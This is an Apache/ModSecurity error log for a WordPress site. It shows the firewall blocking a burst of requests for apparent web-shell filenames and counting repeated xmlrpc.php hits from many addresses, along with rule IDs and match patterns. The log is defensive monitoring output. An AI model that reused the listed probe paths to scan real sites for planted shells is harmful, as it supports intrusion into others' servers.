[Sun May 03 08:44:18.968710 2026] [:error] [pid 40456:tid 40476] [client 20.151.130.38:65513] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/"] [unique_id "afaaYjSujTvwdzEkjSfh_AAAAZI"]
[Sun May 03 08:44:19.400442 2026] [:error] [pid 40422:tid 40433] [client 20.151.130.38:60524] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afaaY0HBbBLrXh6PBuuOZQAAAUc"]
[Sun May 03 08:44:19.815664 2026] [:error] [pid 40422:tid 40443] [client 20.151.130.38:64784] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afaaY0HBbBLrXh6PBuuOaAAAAVE"]
[Sun May 03 08:44:20.248492 2026] [:error] [pid 40422:tid 40435] [client 20.151.130.38:64827] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afaaZEHBbBLrXh6PBuuObAAAAUk"]
[Sun May 03 08:44:20.665738 2026] [:error] [pid 40422:tid 40440] [client 20.151.130.38:64887] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/simple.php"] [unique_id "afaaZEHBbBLrXh6PBuuObwAAAU4"]
[Sun May 03 08:44:21.103426 2026] [:error] [pid 40422:tid 40436] [client 20.151.130.38:61193] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afaaZUHBbBLrXh6PBuuOcgAAAUo"]
[Sun May 03 08:44:21.557001 2026] [:error] [pid 40422:tid 40426] [client 20.151.130.38:61279] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afaaZUHBbBLrXh6PBuuOdQAAAUA"]
[Sun May 03 08:44:22.000320 2026] [:error] [pid 40456:tid 40470] [client 20.151.130.38:61231] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afaaZTSujTvwdzEkjSfiAAAAAYw"]
[Sun May 03 08:44:22.432086 2026] [:error] [pid 40456:tid 40482] [client 20.151.130.38:65503] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/drykl.php"] [unique_id "afaaZjSujTvwdzEkjSfiAQAAAZg"]
[Sun May 03 08:44:22.868065 2026] [:error] [pid 40456:tid 40481] [client 20.151.130.38:61876] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "afaaZjSujTvwdzEkjSfiBQAAAZc"]
[Sun May 03 08:44:23.321293 2026] [:error] [pid 40422:tid 40443] [client 20.151.130.38:64820] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "afaaZ0HBbBLrXh6PBuuOeAAAAVE"]
[Sun May 03 08:44:23.746023 2026] [:error] [pid 40422:tid 40450] [client 20.151.130.38:65436] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "afaaZ0HBbBLrXh6PBuuOegAAAVg"]
[Sun May 03 08:44:24.184232 2026] [:error] [pid 37130:tid 37233] [client 20.151.130.38:62466] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xxx.php"] [unique_id "afaaaKIu7bmXKXicRk85cQAAAJQ"]
[Sun May 03 08:44:24.608508 2026] [:error] [pid 37246:tid 37250] [client 20.151.130.38:61302] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "afaaaDhvYFGNwhnPamqCNgAAAQI"]
[Sun May 03 08:44:25.047824 2026] [:error] [pid 40422:tid 40428] [client 20.151.130.38:65443] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "afaaaUHBbBLrXh6PBuuOgAAAAUI"]
[Sun May 03 08:44:25.479281 2026] [:error] [pid 40386:tid 40398] [client 20.151.130.38:61263] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "afaaaVHJDYRXUf3IbRTixQAAAMo"]
[Sun May 03 08:44:25.899648 2026] [:error] [pid 40422:tid 40430] [client 20.151.130.38:60507] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/hypo.php"] [unique_id "afaaaUHBbBLrXh6PBuuOggAAAUQ"]
[Sun May 03 08:44:26.323624 2026] [:error] [pid 40456:tid 40462] [client 20.151.130.38:60431] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "afaaajSujTvwdzEkjSfiDAAAAYQ"]
[Sun May 03 08:44:26.738613 2026] [:error] [pid 40422:tid 40450] [client 20.151.130.38:61286] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "afaaakHBbBLrXh6PBuuOhAAAAVg"]
[Sun May 03 08:44:27.156076 2026] [:error] [pid 37246:tid 37254] [client 20.151.130.38:60453] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "afaaazhvYFGNwhnPamqCOQAAAQY"]
[Sun May 03 08:44:27.581940 2026] [:error] [pid 37126:tid 37174] [client 20.151.130.38:61225] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file18.php"] [unique_id "afaaa_R_A42N-LtDyrvjggAAABU"]
[Sun May 03 08:44:28.027734 2026] [:error] [pid 37127:tid 37210] [client 20.151.130.38:61881] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "afaabP8khJXb5O5aWVXixQAAAFg"]
[Sun May 03 08:44:28.443606 2026] [:error] [pid 37246:tid 37263] [client 20.151.130.38:65426] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "afaabDhvYFGNwhnPamqCOgAAAQ0"]
[Sun May 03 08:44:28.861747 2026] [:error] [pid 37246:tid 37274] [client 20.151.130.38:61832] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "afaabDhvYFGNwhnPamqCOwAAARg"]
[Sun May 03 08:44:29.280944 2026] [:error] [pid 40422:tid 40441] [client 20.151.130.38:60536] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xwx1.php"] [unique_id "afaabUHBbBLrXh6PBuuOhwAAAU8"]
[Sun May 03 08:44:29.699743 2026] [:error] [pid 37126:tid 37161] [client 20.151.130.38:61212] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "afaabfR_A42N-LtDyrvjhgAAAAg"]
[Sun May 03 08:44:30.124021 2026] [:error] [pid 40422:tid 40428] [client 20.151.130.38:60458] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "afaabkHBbBLrXh6PBuuOiwAAAUI"]
[Sun May 03 08:44:30.543590 2026] [:error] [pid 37126:tid 37153] [client 20.151.130.38:65414] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "afaabvR_A42N-LtDyrvjhwAAAAI"]
[Sun May 03 08:44:30.967796 2026] [:error] [pid 40386:tid 40397] [client 20.151.130.38:61184] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/blue/"] [unique_id "afaablHJDYRXUf3IbRTiywAAAMk"]
[Sun May 03 08:44:31.403878 2026] [:error] [pid 40422:tid 40430] [client 20.151.130.38:61916] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "afaab0HBbBLrXh6PBuuOjQAAAUQ"]
[Sun May 03 08:44:31.829430 2026] [:error] [pid 40422:tid 40445] [client 20.151.130.38:64808] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "afaab0HBbBLrXh6PBuuOjwAAAVM"]
[Sun May 03 08:44:32.243543 2026] [:error] [pid 37246:tid 37265] [client 20.151.130.38:61850] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "afaacDhvYFGNwhnPamqCPgAAAQ8"]
[Sun May 03 08:44:32.664807 2026] [:error] [pid 40422:tid 40446] [client 20.151.130.38:59801] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "afaacEHBbBLrXh6PBuuOlAAAAVQ"]
[Sun May 03 08:44:33.095491 2026] [:error] [pid 40422:tid 40448] [client 20.151.130.38:59826] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/admin.php"] [unique_id "afaacUHBbBLrXh6PBuuOmQAAAVY"]
[Sun May 03 08:44:33.521062 2026] [:error] [pid 37130:tid 37231] [client 20.151.130.38:60540] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/admin.php"] [unique_id "afaacaIu7bmXKXicRk85fAAAAJI"]
[Sun May 03 08:44:33.939491 2026] [:error] [pid 40386:tid 40404] [client 20.151.130.38:64792] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/admin.php"] [unique_id "afaacVHJDYRXUf3IbRTizgAAANA"]
[Sun May 03 08:44:34.361839 2026] [:error] [pid 40456:tid 40479] [client 20.151.130.38:61845] [client 20.151.130.38] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin/admin.php"] [unique_id "afaacjSujTvwdzEkjSfiGwAAAZU"]
[Sun May 03 08:50:55.285752 2026] [:error] [pid 37127:tid 37191] [client 157.66.26.248:34284] [client 157.66.26.248] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.26.248, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afab7_8khJXb5O5aWVXj-gAAAEc"]
[Sun May 03 08:58:04.246851 2026] [:error] [pid 40456:tid 40471] [client 121.200.216.6:48372] [client 121.200.216.6] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 121.200.216.6, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afadnDSujTvwdzEkjSflzQAAAY0"]
[Sun May 03 10:45:29.866357 2026] [:error] [pid 37127:tid 37200] [client 211.21.61.246:48226] [client 211.21.61.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 211.21.61.246, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afa2yf8khJXb5O5aWVX6cAAAAE8"]
[Sun May 03 10:47:22.050465 2026] [:error] [pid 40456:tid 40458] [client 163.61.60.30:36848] [client 163.61.60.30] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 163.61.60.30, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afa3OjSujTvwdzEkjSf95wAAAYA"]
[Sun May 03 12:01:33.277078 2026] [:error] [pid 37130:tid 37229] [client 167.99.240.84:45820] [client 167.99.240.84] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 167.99.240.84, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afbInaIu7bmXKXicRk9V3gAAAJA"]
[Sun May 03 13:04:30.650279 2026] [:error] [pid 37127:tid 37205] [client 148.251.46.181:43778] [client 148.251.46.181] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 148.251.46.181, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afbXXv8khJXb5O5aWVUQWwAAAFM"]
[Sun May 03 13:15:05.006890 2026] [:error] [pid 40456:tid 40479] [client 185.108.129.81:60248] [client 185.108.129.81] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.108.129.81, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afbZ2TSujTvwdzEkjSca2gAAAZU"]
[Sun May 03 13:37:59.184156 2026] [:error] [pid 40422:tid 40432] [client 157.66.27.22:35932] [client 157.66.27.22] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 157.66.27.22, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afbfN0HBbBLrXh6PBuv6YAAAAUY"]
[Sun May 03 14:04:11.646464 2026] [:error] [pid 40422:tid 40448] [client 213.35.119.176:54653] [client 213.35.119.176] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afblW0HBbBLrXh6PBusEAAAAAVY"]
[Sun May 03 14:09:47.267898 2026] [:error] [pid 40456:tid 40472] [client 43.164.133.138:51688] [client 43.164.133.138] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "afbmqzSujTvwdzEkjScmegAAAY4"]
[Sun May 03 15:09:52.536622 2026] [:error] [pid 37126:tid 37164] [client 94.16.115.103:37396] [client 94.16.115.103] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 94.16.115.103, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afb0wPR_A42N-LtDyrsMZgAAAAs"]
[Sun May 03 15:33:18.370938 2026] [:error] [pid 40456:tid 40465] [client 103.110.84.178:49624] [client 103.110.84.178] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.110.84.178, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afb6PjSujTvwdzEkjSc30wAAAYc"]
[Sun May 03 15:40:54.312851 2026] [:error] [pid 37126:tid 37166] [client 201.162.119.179:64100] [client 201.162.119.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.162.119.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afb8BvR_A42N-LtDyrsVtgAAAA0"]
[Sun May 03 15:41:04.017824 2026] [:error] [pid 37126:tid 37169] [client 201.162.119.179:64394] [client 201.162.119.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.162.119.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afb8EPR_A42N-LtDyrsVywAAABA"]
[Sun May 03 15:41:15.202619 2026] [:error] [pid 40422:tid 40438] [client 201.162.119.179:23455] [client 201.162.119.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.162.119.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afb8G0HBbBLrXh6PBusi-QAAAUw"]
[Sun May 03 15:41:25.369535 2026] [:error] [pid 37127:tid 37206] [client 201.162.119.179:23639] [client 201.162.119.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.162.119.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afb8Jf8khJXb5O5aWVUr_QAAAFQ"]
[Sun May 03 15:41:35.798879 2026] [:error] [pid 37126:tid 37162] [client 201.162.119.179:23825] [client 201.162.119.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.162.119.179, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afb8L_R_A42N-LtDyrsV8gAAAAk"]
[Sun May 03 16:02:26.980209 2026] [:error] [pid 37127:tid 37209] [client 79.124.27.249:53025] [client 79.124.27.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcBEv8khJXb5O5aWVUt-wAAAFc"]
[Sun May 03 16:02:37.460604 2026] [:error] [pid 40422:tid 40431] [client 79.124.27.249:64675] [client 79.124.27.249] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.124.27.249, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "afcBHUHBbBLrXh6PBusnrQAAAUU"]
